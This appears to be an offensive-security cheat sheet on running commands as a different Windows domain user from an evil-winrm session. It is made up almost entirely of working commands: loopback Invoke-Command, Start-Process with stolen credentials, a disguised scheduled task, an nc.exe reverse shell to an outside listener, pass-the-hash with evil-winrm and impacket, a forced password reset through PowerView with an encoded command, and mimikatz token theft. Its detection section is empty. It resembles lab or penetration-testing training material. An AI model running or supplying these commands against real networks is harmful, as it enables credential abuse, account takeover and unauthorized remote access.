👤 Run as Another User from an Evil-WinRM Session

📖 How It Works

An evil-winrm session runs entirely in the context of the user you connected as — and WinRM gives you no interactive desktop, so runas /netonly and anything that pops a credential prompt will not work. Being local admin does not magically let you “switch user”: you must spawn a new process, service, scheduled task, or loopback PowerShell session using the target user’s credentials.

The catch: you need the target user’s password (or hash/Kerberos ticket) — admin rights alone don’t grant their token unless they have an active session on the box (see token theft at the bottom).

Typical scenario: you’re Administrator on the box, but the next step (Kerberos attack, share access, web service auth) only works as DOMAIN\lowpriv.

⚙️ Prerequisites

💻 Full Commands

🔴 Method 1 — Invoke-Command loopback (cleanest, output comes back)

# ── Build a credential object ─────────────────────────────────────────────────
$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# ── Run a command as that user against localhost ─────────────────────────────
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
  whoami
  klist        # shows THEIR Kerberos tickets, not yours
}

🔴 Method 2 — Start-Process (no console in WinRM → redirect output to a file)

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

Start-Process -FilePath "cmd.exe" `
  -ArgumentList "/c whoami > C:\Temp\out.txt 2>&1" `
  -Credential $cred

Start-Sleep 2; type C:\Temp\out.txt

🔴 Method 3 — Scheduled task as the target user

# ── cmd one-liner ─────────────────────────────────────────────────────────────
schtasks /create /tn "UpdateCheck" /ru "CORP\lowpriv" /rp "P@ssword123!" `
  /sc once /st 23:59 /tr "cmd /c whoami > C:\Temp\out.txt"
schtasks /run /tn "UpdateCheck"
# then: type C:\Temp\out.txt  &&  schtasks /delete /tn "UpdateCheck" /f

# ── PowerShell equivalent ─────────────────────────────────────────────────────
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c whoami > C:\Temp\out.txt"
Register-ScheduledTask -TaskName "UpdateCheck" -Action $action `
  -User "CORP\lowpriv" -Password 'P@ssword123!'
Start-ScheduledTask -TaskName "UpdateCheck"

🔴 Method 4 — Reverse shell as the target user

# Listener on your box first:  nc -lvnp 443
$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

Start-Process -FilePath "C:\Temp\nc.exe" `
  -ArgumentList "10.10.14.5 443 -e cmd.exe" `
  -Credential $cred -WindowStyle Hidden
# The shell that lands runs as CORP\lowpriv

🔴 Only have a hash or ticket? Skip the session entirely

# From Linux — no need to be "that user" on the box at all:
evil-winrm -i 10.10.10.10 -u lowpriv -H 2b576acbe6bcfda7294d6bd18041b8fe   # if they can WinRM
impacket-wmiexec 'CORP/lowpriv@10.10.10.10' -hashes :2b576acbe6bcfda7294d6bd18041b8fe
klist   # or request a TGT with impacket-getTGT and go the Kerberos route

🔴 Worked example — ForceChangePassword abuse as another user

Scenario: your session user is admin on the box, but CORP\lowpriv (whose password you know) is the one holding ForceChangePassword over ssmalls. Reset ssmalls’ password in lowpriv’s context:

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# ── Simplest: net user, no PowerView needed ───────────────────────────────────
Start-Process cmd.exe -Credential $cred `
  -ArgumentList '/c net user ssmalls Str0ngpass86! /domain > C:\Temp\out.txt 2>&1'
Start-Sleep 2; type C:\Temp\out.txt

# ── PowerView via -EncodedCommand (avoids nested-quote hell) ─────────────────
# *> redirects ALL streams (incl. Verbose) — plain > would swallow the confirmation
$cmd = "Import-Module C:\Temp\PowerView.ps1; Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose *> C:\Temp\out.txt"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
Start-Process powershell.exe -Credential $cred -ArgumentList "-NoProfile -EncodedCommand $enc"
Start-Sleep 3; type C:\Temp\out.txt

# ── Cleanest for PowerShell functions: Invoke-Command loopback ────────────────
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
  Import-Module C:\Temp\PowerView.ps1
  Set-DomainUserPassword -Identity ssmalls `
    -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose
}

💡 The reset hits the DC over the network, so any process carrying lowpriv’s credentials can do it — no interactive logon required. If your current session user already has the right, skip the wrapping and run Set-DomainUserPassword directly.

⚠️ Gotchas

• runas doesn’t work over WinRM — /netonly spawns a process whose new token is only applied on next network use, and interactive runas prompts for a password on a console you don’t have. Use the methods above instead.
• No console = no output — any process spawned with alternate creds has no visible window. Always redirect stdout/stderr to a file and read it back.
• Double-hop problem — inside an Invoke-Command loopback, the inner session can’t delegate credentials to a third machine (CredSSP unless enabled). Access network resources from the outer session with -Credential, or use the hash from Linux.
• Token theft alternative — if the target user has an active logon session on the box, steal their token instead of needing their password: incognito via Meterpreter, or mimikatz "token::elevate" "token::list" then run in that context.

🛡️ Detection — Event IDs

✅ Run-as-another-user complete.